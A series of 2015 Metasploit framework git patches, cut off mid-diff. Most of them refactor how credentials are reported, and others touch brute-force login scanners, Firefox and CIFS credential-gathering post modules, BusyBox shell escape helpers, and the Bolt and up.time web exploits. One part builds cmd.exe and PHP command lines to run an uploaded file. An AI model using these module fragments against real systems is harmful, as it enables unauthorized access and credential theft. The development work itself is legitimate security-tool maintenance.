}.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: opts[:status], + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def parse_script_output(addr,port,output) msg = "#{addr}:#{port} - Oracle -" @oracle_reported = false @@ -156,10 +182,13 @@ class Metasploit3 < Msf::Auxiliary user,pass = extract_creds(oline) pass = "" if pass == "<empty>" print_good "#{msg} Success: #{user}:#{pass} (SID: #{sid})" - report_auth_info( - :host => addr, :port => port, :proto => "tcp", - :user => "#{sid}/#{user}", :pass => pass, - :source_type => "user_supplied", :active => true + report_cred( + ip: addr, + port: port, + user: "#{sid}/#{user}", + password: pass, + service_name: 'tcp', + status: Metasploit::Model::Login::Status::SUCCESSFUL ) elsif oline =~ /Account locked/ if not @oracle_reported @@ -169,10 +198,12 @@ class Metasploit3 < Msf::Auxiliary end user = extract_creds(oline)[0] print_status "#{msg} Locked: #{user} (SID: #{sid}) -- account valid but locked" - report_auth_info( - :host => addr, :port => port, :proto => "tcp", - :user => "#{sid}/#{user}", - :source_type => "user_supplied", :active => false + report_cred( + ip: addr, + port: port, + user: "#{sid}/#{user}", + service_name: 'tcp', + status: Metasploit::Model::Login::Status::DENIED_ACCESS ) elsif oline =~ /^\s+ERROR: (.*)/ print_error "#{msg} NSE script error: #{$1}" diff --git a/modules/auxiliary/scanner/postgres/postgres_version.rb b/modules/auxiliary/scanner/postgres/postgres_version.rb index 50ce748fc4..8a2bea7d9c 100644 --- a/modules/auxiliary/scanner/postgres/postgres_version.rb +++ b/modules/auxiliary/scanner/postgres/postgres_version.rb @@ -50,6 +50,32 @@ class Metasploit3 < Msf::Auxiliary datastore['RPORT'] end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def do_fingerprint(user=nil,pass=nil,database=nil) begin msg = "#{rhost}:#{rport} Postgres -" @@ -79,13 +105,13 @@ class Metasploit3 < Msf::Auxiliary ) if self.postgres_conn - report_auth_info( - :host => rhost, - :port => rport, - :sname => "postgres", - :user => user, - :pass => password, - :active => true + report_cred( + ip: rhost, + port: rport, + service_name: 'postgres', + user: user, + password: password, + proof: "postgres_conn = #{self.postgres_conn.inspect}" ) end diff --git a/modules/auxiliary/scanner/rservices/rsh_login.rb b/modules/auxiliary/scanner/rservices/rsh_login.rb index 7bb64ca213..8892b023d5 100644 --- a/modules/auxiliary/scanner/rservices/rsh_login.rb +++ b/modules/auxiliary/scanner/rservices/rsh_login.rb @@ -220,6 +220,31 @@ class Metasploit3 < Msf::Auxiliary [ sd, lport ] end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end def start_rsh_session(host, port, user, luser, proof, stderr_sock) report_auth_info( diff --git a/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb b/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb index 91fad86182..3bff4eaa56 100644 --- a/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb +++ b/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb @@ -68,22 +68,49 @@ class Metasploit4 < Msf::Auxiliary vprint_status("#{rhost}:#{rport} - Adding User to Group...") uri = '/ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;ADD_USER_TO_GROUP;USERNAME=' + datastore['USERNAME'] + ',GROUPNAME=' + datastore['GROUP'] - if send_request(uri) + res = send_request(uri) + if res print_good("#{rhost}:#{rport} - User #{datastore['USERNAME']} added to group #{datastore['GROUP']}") else return end - report_auth_info( - :host => rhost, - :port => rport, - :user => datastore['USERNAME'], - :pass => datastore['PASSWORD'], - :ptype => "password", - :active => true + report_cred( + ip: rhost, + port: rport, + service_name: 'sap', + user: datastore['USERNAME'], + pass: datastore['PASSWORD'], + proof: res.body ) end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def send_request(uri) begin res = send_request_cgi({ diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb index 17423458d1..b7543c4122 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb @@ -61,6 +61,32 @@ class Metasploit4 < Msf::Auxiliary end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def enum_user(user, pass, uri) # Replace placeholder with SAP SID, if present @@ -140,16 +166,13 @@ class Metasploit4 < Msf::Auxiliary vprint_error("#{peer} [SAP] Login '#{user}' NOT authorized to perform OSExecute calls") end - report_auth_info( - :host => rhost, - :sname => 'sap-managementconsole', - :proto => 'tcp', - :port => rport, - :user => user, - :pass => pass, - :source_type => "user_supplied", - :target_host => rhost, - :target_port => rport + report_cred( + ip: rhost, + port: port, + user: user, + password: pass, + service_name: 'sap-managementconsole', + proof: res.body ) else vprint_error("#{peer} [SAP] failed to login as '#{user}':'#{pass}'") diff --git a/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb b/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb index fe6c3acb6d..1ae343ea5b 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb @@ -124,7 +124,7 @@ class Metasploit4 < Msf::Auxiliary return else print_good("[SAP] #{ip}:#{rport} - User '#{datastore['BAPI_USER']}' with password '#{datastore['BAPI_PASSWORD']}' created") - report_auth_info( + report_auth( ip: ip, port: rport, service_name: 'sap', diff --git a/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb b/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb index b3943cb4fb..da87cb4613 100644 --- a/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb +++ b/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb @@ -397,6 +397,33 @@ class Metasploit3 < Msf::Exploit::Remote create_credential_login(login_data) end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :nonreplayable_hash, + jtr_format: 'md5,raw-md5' + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def exploit print_status("#{peer} - Checking for a valid node id...") node_id = get_node @@ -417,6 +444,14 @@ class Metasploit3 < Msf::Exploit::Remote for i in 0..count_users - 1 user = get_user_data(node_id, i) + report_cred( + ip: rhost, + port: rport, + user: user[0], + password: user[1], + service_name: (ssl ? "https" : "http"), + proof: "salt: #{user[2]}" + ) report_auth_info({ :host => rhost, :port => rport, diff --git a/modules/post/linux/gather/mount_cifs_creds.rb b/modules/post/linux/gather/mount_cifs_creds.rb index 7378f2a109..b52c756c7e 100644 --- a/modules/post/linux/gather/mount_cifs_creds.rb +++ b/modules/post/linux/gather/mount_cifs_creds.rb @@ -74,7 +74,14 @@ class Metasploit3 < Msf::Post # XXX: currently, you can only report_auth_info on an IP or a valid Host. in our case, # host[:host] is *not* a Host. Fix this some day. if (Rex::Socket.dotted_ip?(cred[:host])) - report_auth_info({ :port => 445, :sname => 'smb', :type => 'password', :active => true }.merge(cred)) + report_cred( + ip: rhost, + port: 445, + service_name: 'smb', + user: cred[:user], + password: cred[:pass], + proof: '/etc/fstab' + ) end cred_table << [ cred[:user], cred[:pass], cred[:host], cred[:file] ] end @@ -93,6 +100,35 @@ class Metasploit3 < Msf::Post end end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password, + module_fullname: fullname, + session_id: session_db_id, + post_reference_name: self.refname + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + # Parse mount.cifs credentials from +line+, assumed to be a line from /etc/fstab. # Returns the username+domain and password as a hash, nil if nothing is found. def parse_fstab_credentials(line, file="/etc/fstab") diff --git a/test/modules/auxiliary/test/report_auth_info.rb b/test/modules/auxiliary/test/report_auth_info.rb index ef63d59539..b67d40b147 100644 --- a/test/modules/auxiliary/test/report_auth_info.rb +++ b/test/modules/auxiliary/test/report_auth_info.rb @@ -359,7 +359,96 @@ class Metasploit3 < Msf::Auxiliary mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'sap', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end - + def test_mount_cifs_creds + mod = framework.post.create('linux/gather/mount_cifs_creds') + mock_post_mod_session(mod) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'smb', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_mysql_enum + mod = framework.auxiliary.create('admin/mysql/mysql_enum') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'mysql', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_jtr_oracle_fast + mod = framework.auxiliary.create('analyze/jtr_oracle_fast') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'oracle', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_vbulletin_vote_sqli_exec + mod = framework.exploits.create('unix/webapp/vbulletin_vote_sqli_exec') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_sap_mgmt_con_brute_login + mod = framework.auxiliary.create('scanner/sap/sap_mgmt_con_brute_login') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_sap_ctc_verb_tampering_user_mgmt + mod = framework.auxiliary.create('scanner/sap/sap_ctc_verb_tampering_user_mgmt') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_scanner_oracle_login + mod = framework.auxiliary.create('scanner/oracle/oracle_login') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'tcp', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF, status: Metasploit::Model::Login::Status::SUCCESSFUL) + end + + def test_isqlplus_login + mod = framework.auxiliary.create('scanner/oracle/isqlplus_login') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'tcp', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_dvr_config_disclosure + mod = framework.auxiliary.create('scanner/misc/dvr_config_disclosure') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_lotus_domino_login + mod = framework.auxiliary.create('scanner/lotus/lotus_domino_login') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_openmind_messageos_login + mod = framework.auxiliary.create('scanner/http/openmind_messageos_login') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_dell_idrac + mod = framework.auxiliary.create('scanner/http/dell_idrac') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_windows_deployment_services + mod = framework.auxiliary.create('scanner/dcerpc/windows_deployment_services') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'dcerpc', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_couchdb_login + mod = framework.auxiliary.create('scanner/couchdb/couchdb_login') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'couchdb', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_wp_w3_total_cache_hash_extract + mod = framework.auxiliary.create('gather/wp_w3_total_cache_hash_extract') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_windows_deployment_services_shares + mod = framework.auxiliary.create('gather/windows_deployment_services_shares') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'smb', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_vbulletin_vote_sqli + mod = framework.auxiliary.create('gather/vbulletin_vote_sqli') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_hp_snac_domain_creds + mod = framework.auxiliary.create('gather/hp_snac_domain_creds') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'hp', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end def run counter_all = 0 @@ -389,4 +478,8 @@ class Metasploit3 < Msf::Auxiliary print_line end + def mock_post_mod_session(mod) + mod.define_singleton_method(:session_db_id) { 1 } + end + end From 6f4f8e34b4777e7680d4cdf51357d0ccc4f6e9b9 Mon Sep 17 00:00:00 2001 From: Roberto Soares <robertoespreto@gmail.com> Date: Fri, 4 Sep 2015 10:45:15 -0300 Subject: [PATCH 0543/2172] Added method bolt_login. --- .../exploits/unix/webapp/bolt_file_upload.rb | 34 +++++++++++++++++++ 1 file changed, 34 insertions(+) diff --git a/modules/exploits/unix/webapp/bolt_file_upload.rb b/modules/exploits/unix/webapp/bolt_file_upload.rb index 81914d075b..eff1a23eb7 100644 --- a/modules/exploits/unix/webapp/bolt_file_upload.rb +++ b/modules/exploits/unix/webapp/bolt_file_upload.rb @@ -55,7 +55,33 @@ class Metasploit3 < Msf::Exploit::Remote end def bolt_login() + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'bolt', 'bolt', 'login') + ) + session_cookie = res.get_cookies + vprint_status('Logging in...') + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'bolt', 'bolt', 'login'), + 'cookie' => session_cookie, + 'vars_post' => { + 'username' => user, + 'password' => pass, + 'action' => 'login' + } + ) + + unless res && res.code == 302 + print_error("#{peer} - Login failed") + end + + if res.code == 302 && res.redirection.to_s.include?('/bolt/bolt') + session_cookie = res.get_cookies + return session_cookie + end + nil end def token @@ -67,6 +93,14 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit + vprint_status("#{peer} - Authenticating using #{username}:#{password}...") + cookie = bolt_login(username, password) + if cookie.nil? + print_error("#{peer} - Failed to authenticate with Bolt") + return + end + vprint_good("#{peer} - Authenticated with Bolt") + end end From a802317f84ed7f856657bf5a8e760ac051ad38d3 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Fri, 4 Sep 2015 10:24:49 -0500 Subject: [PATCH 0544/2172] Fix -h exit status for Omnibus --- msfbinscan | 2 +- msfelfscan | 2 +- msfmachscan | 2 +- msfpescan | 2 +- msfrop | 2 +- 5 files changed, 5 insertions(+), 5 deletions(-) diff --git a/msfbinscan b/msfbinscan index 1913c36736..213861e254 100755 --- a/msfbinscan +++ b/msfbinscan @@ -121,7 +121,7 @@ end opt.on_tail("-h", "--help", "Show this message") do $stderr.puts opt - exit(1) + exit end begin diff --git a/msfelfscan b/msfelfscan index 1c91a24975..4d9c0d0312 100755 --- a/msfelfscan +++ b/msfelfscan @@ -91,7 +91,7 @@ end opt.on_tail("-h", "--help", "Show this message") do puts opt - exit(1) + exit end begin diff --git a/msfmachscan b/msfmachscan index def3152388..4b0ba7c497 100755 --- a/msfmachscan +++ b/msfmachscan @@ -78,7 +78,7 @@ end opt.on_tail("-h", "--help", "Show this message") do puts opt - exit(1) + exit end begin diff --git a/msfpescan b/msfpescan index c674ea727f..e7819dc92d 100755 --- a/msfpescan +++ b/msfpescan @@ -132,7 +132,7 @@ end opt.on_tail("-h", "--help", "Show this message") do puts opt - exit(1) + exit end begin diff --git a/msfrop b/msfrop index 1f0a80e552..bb57d69664 100755 --- a/msfrop +++ b/msfrop @@ -64,7 +64,7 @@ end opt.on_tail('-h', '--help', 'Show this message') do puts opt - exit(1) + exit end begin From da221b82a8cad63b0d5d01672f903a4b11c9a9a1 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 4 Sep 2015 11:07:49 -0500 Subject: [PATCH 0545/2172] Initialize dir --- lib/msf/core/post/linux/busy_box.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/msf/core/post/linux/busy_box.rb b/lib/msf/core/post/linux/busy_box.rb index b8cd5da465..1f7d6d2749 100644 --- a/lib/msf/core/post/linux/busy_box.rb +++ b/lib/msf/core/post/linux/busy_box.rb @@ -71,6 +71,8 @@ module BusyBox # of it is necessary to implement an specific method. def busy_box_write_file(file_path, data, prepend = false) if prepend + dir = busy_box_writable_dir + return false unless dir cmd_exec("cp -f #{file_path} #{dir}tmp") Rex::sleep(0.3) end From 05e1a69fe5322efc68d8a927907e72101f798c2b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 4 Sep 2015 11:14:53 -0500 Subject: [PATCH 0546/2172] Add specs for prepend --- spec/lib/msf/core/post/linux/busy_box_spec.rb | 36 +++++++++++++++++++ 1 file changed, 36 insertions(+) diff --git a/spec/lib/msf/core/post/linux/busy_box_spec.rb b/spec/lib/msf/core/post/linux/busy_box_spec.rb index f766eacc52..ea3f29bd23 100644 --- a/spec/lib/msf/core/post/linux/busy_box_spec.rb +++ b/spec/lib/msf/core/post/linux/busy_box_spec.rb @@ -144,6 +144,42 @@ describe Msf::Post::Linux::BusyBox do expect(subject.busy_box_write_file('/tmp/test', 'test')).to be_truthy end end + + describe "when prepend is true" do + describe "when there is a writable dir" do + describe "when the target file is writable" do + before :each do + allow(subject).to receive(:busy_box_writable_dir) do + '/tmp/' + end + + allow(subject).to receive(:read_file) do + "#{'A' * 16}XXX#{'A' * 16}" + end + + allow(Rex::Text).to receive(:rand_text_alpha) do + 'A' * 16 + end + end + + it "returns true" do + expect(subject.busy_box_write_file('/tmp/test', 'test', true)).to be_truthy + end + end + end + + describe "when there isn't a writable dir" do + before :each do + allow(subject).to receive(:busy_box_writable_dir) do + nil + end + end + + it "returns false" do + expect(subject.busy_box_write_file('/tmp/test', 'test', true)).to be_falsey + end + end + end end end From 319bc2d75021d9973dc489b43b5c166ad81770cb Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 4 Sep 2015 11:18:09 -0500 Subject: [PATCH 0547/2172] Use downcase --- modules/post/linux/busybox/jailbreak.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/linux/busybox/jailbreak.rb b/modules/post/linux/busybox/jailbreak.rb index e1a6da1439..7d7e05cfff 100644 --- a/modules/post/linux/busybox/jailbreak.rb +++ b/modules/post/linux/busybox/jailbreak.rb @@ -56,7 +56,7 @@ class Metasploit3 < Msf::Post (1..10).each do resp = session.shell_read vprint_status("jailbreak received: #{resp}") unless resp.nil? || resp.empty? - if resp.include?('BusyBox') && resp.include?('Built-in shell') + if resp.downcase.include?('busybox') && resp.downcase.include?('built-in shell') print_good("Jailbreak accomplished with #{command}") return true end From 2b2dec3531a30604b271f31a9948d12c42d0214a Mon Sep 17 00:00:00 2001 From: jvicente <javier.vicente@byteheed.com> Date: Fri, 4 Sep 2015 18:52:55 +0200 Subject: [PATCH 0548/2172] Fixed typo direcotry. --- modules/post/linux/busybox/wget_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/linux/busybox/wget_exec.rb b/modules/post/linux/busybox/wget_exec.rb index be39301bb0..38e90216a0 100644 --- a/modules/post/linux/busybox/wget_exec.rb +++ b/modules/post/linux/busybox/wget_exec.rb @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Post end def run - print_status('Searching a writable direcotry...') + print_status('Searching a writable directory...') writable_directory = busy_box_writable_dir if writable_directory print_status('Writable directory found, downloading file...') From 4fa58efaa0ff752f464b1e7cd0530231fb06857c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 4 Sep 2015 11:54:22 -0500 Subject: [PATCH 0549/2172] Allow to configure the DOWNLOAD_TIMEOUT --- modules/post/multi/gather/firefox_creds.rb | 21 ++++++++++++--------- 1 file changed, 12 insertions(+), 9 deletions(-) diff --git a/modules/post/multi/gather/firefox_creds.rb b/modules/post/multi/gather/firefox_creds.rb index b5b2d1afc7..2236259903 100644 --- a/modules/post/multi/gather/firefox_creds.rb +++ b/modules/post/multi/gather/firefox_creds.rb @@ -58,15 +58,13 @@ class Metasploit3 < Msf::Post )) register_options([ - OptBool.new('DECRYPT', - [false, 'Decrypts passwords without third party tools', false]) + OptBool.new('DECRYPT', [false, 'Decrypts passwords without third party tools', false]) ], self.class) register_advanced_options([ - OptBool.new('DISCLAIMER', - [false, 'Acknowledge the DECRYPT warning', false]), - OptBool.new('RECOVER', - [false, 'Attempt to recover from bad DECRYPT when possible', false]) + OptInt.new('DOWNLOAD_TIMEOUT', [true, 'Timeout to wait when downloading files through shell sessions', 20]), + OptBool.new('DISCLAIMER', [false, 'Acknowledge the DECRYPT warning', false]), + OptBool.new('RECOVER', [false, 'Attempt to recover from bad DECRYPT when possible', false]) ], self.class) end @@ -343,11 +341,16 @@ class Metasploit3 < Msf::Post if @platform == :windows p = store_loot("ff.#{profile}.#{file}", "#{mime}/#{ext}", session, "firefox_#{file}") session.fs.file.download_file(p, path + "\\" + file) + print_good("Downloaded #{file}: #{p.to_s}") else # windows has to be meterpreter, so can be anything else (unix, bsd, linux, osx) - loot = cmd_exec("cat #{path}//#{file}") - p = store_loot("ff.#{profile}.#{file}", "#{mime}/#{ext}", session, loot, "firefox_#{file}", "#{file} for #{profile}") + loot = cmd_exec("cat #{path}//#{file}", nil, datastore['DOWNLOAD_TIMEOUT']) + if loot.nil? || loot.empty? + print_error("Failed to download #{file}, if the file is very long, try increasing DOWNLOAD_TIMEOUT") + else + p = store_loot("ff.#{profile}.#{file}", "#{mime}/#{ext}", session, loot, "firefox_#{file}", "#{file} for #{profile}") + print_good("Downloaded #{file}: #{p.to_s}") + end end - print_good("Downloaded #{file}: #{p.to_s}") end end print_line From 60d28564446b566378dca2715b48c5e0e8839806 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 4 Sep 2015 12:02:21 -0500 Subject: [PATCH 0550/2172] Use id instead of whoami --- modules/post/multi/gather/firefox_creds.rb | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/modules/post/multi/gather/firefox_creds.rb b/modules/post/multi/gather/firefox_creds.rb index 2236259903..fb7b7ca109 100644 --- a/modules/post/multi/gather/firefox_creds.rb +++ b/modules/post/multi/gather/firefox_creds.rb @@ -720,6 +720,12 @@ Components.utils.import("resource://gre/modules/XPCOMUtils.jsm"); def whoami - @platform == :windows ? (session.sys.config.getenv('USERNAME')) : (cmd_exec("whoami").chomp) + if @platform == :windows + id = session.sys.config.getenv('USERNAME') + else + id = cmd_exec("id -un") + end + + id end end From cf8b34191d237031ae85326396b6acad5f0ac3b0 Mon Sep 17 00:00:00 2001 From: "Ewerson Guimaraes (Crash)" <crash@dclabs.com.br> Date: Fri, 4 Sep 2015 19:19:02 +0200 Subject: [PATCH 0551/2172] Updates Add Def for cgi request. --- .../exploits/multi/http/uptime_code_exec.rb | 618 ++++++++---------- 1 file changed, 265 insertions(+), 353 deletions(-) diff --git a/modules/exploits/multi/http/uptime_code_exec.rb b/modules/exploits/multi/http/uptime_code_exec.rb index 0dd157a310..b0070faa59 100644 --- a/modules/exploits/multi/http/uptime_code_exec.rb +++ b/modules/exploits/multi/http/uptime_code_exec.rb @@ -18,52 +18,48 @@ class Metasploit4 < Msf::Exploit::Remote arbitrary commands through privilege escalation. ', 'License' => MSF_LICENSE, - 'Author' => - [ - 'Ewerson Guimaraes(Crash) <crash[at]dclabs.com.br>', - 'Gjoko Krstic(LiquidWorm) <gjoko[at]zeroscience.mk>' - ], - 'References' => - [ - ['CVE', ''], - ['OSVDB', ''], - ['US-CERT-VU', ''] - ], - 'Payload' => - { - 'Space' => 100_000, - 'DisableNops' => true - }, + 'Author' => [ + 'Ewerson Guimaraes(Crash) <crash[at]dclabs.com.br>', + 'Gjoko Krstic(LiquidWorm) <gjoko[at]zeroscience.mk>' + ], + 'References' => [ + ['CVE', ''], + ['OSVDB', ''], + ['US-CERT-VU', ''] + ], + 'Payload' => { + 'Space' => 100_000, + 'DisableNops' => true + }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, - 'Targets' => - [ - ['Automatic', {}] - ], - 'DefaultOptions' => - { - 'SSL' => false - }, + 'Targets' => [ + ['Automatic', {}] + ], + 'DefaultOptions' => { + 'SSL' => false + }, 'Privileged' => 'True', 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 6 2015' )) - register_options( - [ - Opt::RPORT(9999), - OptString.new('USERNAME', [true, 'The username to authenticate as']), - OptString.new('PASSWORD', [true, 'The password to authenticate with']) - ], self.class) + register_options([ + Opt::RPORT(9999), + OptString.new('USERNAME', [true, 'The username to authenticate as', 'sample']), + OptString.new('PASSWORD', [true, 'The password to authenticate with', 'sample']) + + ], self.class) end - # ###############################Application Check############################## + # Application Check def check sig = 'up.time 7.5.0' sig2 = 'up.time 7.4.0' res = send_request_cgi( 'method' => 'GET', - 'uri' => '/') + 'uri' => '/' + ) print_status("#{rhost}:#{rport} - Checking version...") @@ -75,7 +71,7 @@ class Metasploit4 < Msf::Exploit::Remote def exploit print_status('Trying to login...') - # ############################Application Login########################### + # #Application Login res_auth = send_request_cgi( 'method' => 'POST', 'uri' => '/index.php?', @@ -84,17 +80,21 @@ class Metasploit4 < Msf::Exploit::Remote 'password' => datastore['PASSWORD'] }) - # ############################Check OS ##################################### + # #Check OS # + phpfile_name = rand_text_alpha(10) if res_auth.headers['Server'] =~ /Unix/ print_status('Found Linux instalation - Setting appropriated PATH') phppath = '/usr/local/uptime/apache/bin/php' uploadpath = '/usr/local/uptime/GUI/wizards' + cmdargs = uploadpath + '/' + phpfile_name + '.txt' + cmd = phppath else print_status('Found Windows instalation - Setting appropriated PATH') phppath = 'C:\\Program Files\\uptime software\\uptime\\apache\\php\\php.exe' uploadpath = 'C:\\Program Files\\uptime software\\uptime\\GUI\\wizards' + cmd = 'c:\\windows\\system32\\cmd.exe' + cmdargs = '/K "' + '"' + phppath + '" ' + '"' + uploadpath + '\\' + phpfile_name + '.txt' + '"' + '"' end - ########################################################################### if res_auth && res_auth.get_cookies =~ /login=true/ cookie = Regexp.last_match(1) @@ -102,82 +102,79 @@ class Metasploit4 < Msf::Exploit::Remote print_status("Cookies Found: #{cookie_split[1]} #{cookie_split[2]}") print_good('Login success') - # #####################Privilege escalation getting user ID################# + # Privilege escalation getting user ID res_priv = send_request_cgi( 'method' => 'GET', 'uri' => '/main.php', - 'vars_get' => - { - 'page' => 'Users', - 'subPage' => 'UserContainer' - }, - 'headers' => - { - 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', - 'Cache-Control' => 'max-age=0', - 'Connection' => 'keep-alive', - 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", - 'Host' => "#{rhost}", - 'Referer' => "#{rhost}/main.php?page=Users&subPage=UserContainer", - 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' - }) + 'vars_get' => { + 'page' => 'Users', + 'subPage' => 'UserContainer' + }, + 'headers' => { + 'Accept' => 